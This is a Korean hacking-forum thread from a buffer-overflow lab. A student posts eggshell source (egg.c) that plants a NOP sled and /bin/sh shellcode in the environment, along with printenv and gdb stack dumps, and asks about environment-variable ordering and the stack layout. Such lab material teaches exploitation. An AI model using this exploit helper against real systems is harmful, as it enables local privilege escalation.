시스템 해킹

 1576, 1/79 회원가입  로그인  
   bmc12
   egg 수행 후 환경 변수의 순서에 대해 질문드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1681 [복사]


putenv(egg)
putenv(buff)

이렇게 환경 변수를 추가했으면

printenv했을 때

EGG ~~~~~
RET ~~~~~

이렇게 아래 출력 결과처럼 나와야 하는데

새로운 쉘을 띄워놓고 printenv하면 2번 째 출력 결과처럼

RET
EGG
이렇게 순서가 뒤집히고

환경 변수들 가운데 쯤에 들어가네요

왜 이런건지 알려주시면 정말 감사하겠습니다.

1.-----------------------------egg.c에 system(/bin/sh) 안 넣은 경우-------------------------------------------
(환경변수 출력은 egg.c에 출력 소스를 추가해서 한 것입니다.)

Using address: 0xbffffbd4
LESSOPEN=|/usr/bin/lesspipe.sh %s
USERNAME=
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=1
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=./e
EGG=1A°F1U1E1EI€e1A°
                    [‰‹g1a‰g‰u1OI€eæyyy/bin/sh
RET=Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy¿Ouy


2.----------------------------egg에 system(/bin/sh)추가 했을 때 환경변수 출력-------------------------------

[student@BOF student]$ printenv

LESSOPEN=|/usr/bin/lesspipe.sh %s
USERNAME=
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
RET=Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny¿Hny
EGG=1A°F1U1E1EI€e1A°
                    [‰‹g1a‰g‰u1OI€eæyyy/bin/sh
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=5
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=/usr/bin/printenv


--------------------------------------egg.c 소스-------------------------------------------------------------------

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;
   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);
   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }
   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }
//   addr = get_esp() - offset;
   printf("Using address: 0x%x\n", addr);
   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;
   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];
   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);

// while( *environ)
  //    printf( "%s\n", *environ++);


//   return 0;

   system("/bin/bash");
}






------------------------------------스택에 쌓인 환경 변수 출력------------------------------------------------

0xbffff2a2:      "i686"
0xbffff2a7:      "/home/student/get"
0xbffff2b9:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffff2db:      "USERNAME="
0xbffff2e5:      "HISTSIZE=1000"
0xbffff2f3:      "HOSTNAME=BOF"
0xbffff300:      "LOGNAME=student"
0xbffff310:      "REMOTEHOST=110.35.139.193"
0xbffff32a:      "MAIL=/var/spool/mail/student"
0xbffff347:      "TERM=xterm"
---Type <return> to continue, or q <return> to quit---
0xbffff352:      "HOSTTYPE=i386"
0xbffff360:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin"
0xbffff3a3:      "HOME=/home/student"
0xbffff3b6:      "INPUTRC=/etc/inputrc"
0xbffff3cb:      "SHELL=/bin/bash"
0xbffff3db:      "USER=student"
0xbffff3e8:      "RET=Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿"...
0xbffff4b0:      "Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿"...
0xbffff578:      "Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy¿Xuy"
0xbffff5e8:      "EGG=", '\220' <repeats 196 times>...
0xbffff6b0:      '\220' <repeats 200 times>...
0xbffff778:      '\220' <repeats 200 times>...
0xbffff840:      '\220' <repeats 200 times>...
0xbffff908:      '\220' <repeats 200 times>...
0xbffff9d0:      '\220' <repeats 200 times>...
0xbffffa98:      '\220' <repeats 200 times>...
0xbffffb60:      '\220' <repeats 200 times>...
0xbffffc28:      '\220' <repeats 200 times>...
0xbffffcf0:      '\220' <repeats 200 times>...
0xbffffdb8:      "1A°F1U1E1EI\200e\0251A°\013[\211\037\213g\0041a\211g\004\211u1OI\200eæyyy/bin/sh"
0xbffffde8:      "BASH_ENV=/home/student/.bashrc"
0xbffffe07:      "LANG=en_US"
0xbffffe12:      "OSTYPE=Linux"
0xbffffe1f:      "SHLVL=3"
0xbffffe27:      "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01"...
0xbffffeef:      ";32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3"...
0xbfffffb7:      "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
0xbfffffea:      "/home/student/get"



  Hit : 4350     Date : 2013/05/28 09:50



    
bmc12 추가 질문이 하나 더 있어서 올립니다.

프로그램이 실행될 때 스택에 아래처럼 환경변수,argv[],argc,ret ... 이 쌓인다고 알고 있습니다.

그렇다면

egg.c에 get_esp()에서

movl %esp,%eax

대부분이 eax레지스터에 담겨진 값이 스택의 바닥이라고 하시는데 구체적으로 이 스택의 바닥이란게 어디를 말하는건가요?

환경 변수들이 쌓이기 시작하는 시작 지점을 말하는 건가요?

esp가 가르키는 부분이 아래에서 어느 부분인건가요?

0xc0000000
|환경변수|
|argv[]|
|argc |
|ret |



2013/05/28  
bmc12 몇차례 테스트를 해보니

환경변수를 넣을 때 문자 정렬을 하는 것 같습니다.

제가 export로 환경 변수를 등록한 거는 =>로 표시하였습니다.

환경 변수에 넣은 값은 입력 순서입니다.

[student@BOF student]$ export C=1
[student@BOF student]$ export B=2
[student@BOF student]$ export A=3
[student@BOF student]$ export AA=4
[student@BOF student]$ export EGG=5


USERNAME=
=>AA=4
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
=>A=3
=>B=2
=>C=1
=>EGG=5
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=1
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=/usr/bin/printenv
2013/05/28  
bmc12 문자 정렬을 한다해도 이해가 안가네요..

중간부터 입력은 된다쳐도

EGG

RET 순서는 바뀌지 않아야하는건데..

흐어...멘붕...
2013/05/28  
qkrwncks593 보통 스택의 바닥은 EBP 레지스터가 가리키는곳을 바닥이라부르고있어요.
환경변수의 위치는 보통 RET 아래에 위치합니다.
그리고 ESP 가 가리키는곳은 스택의 끝입니다.
2013/06/01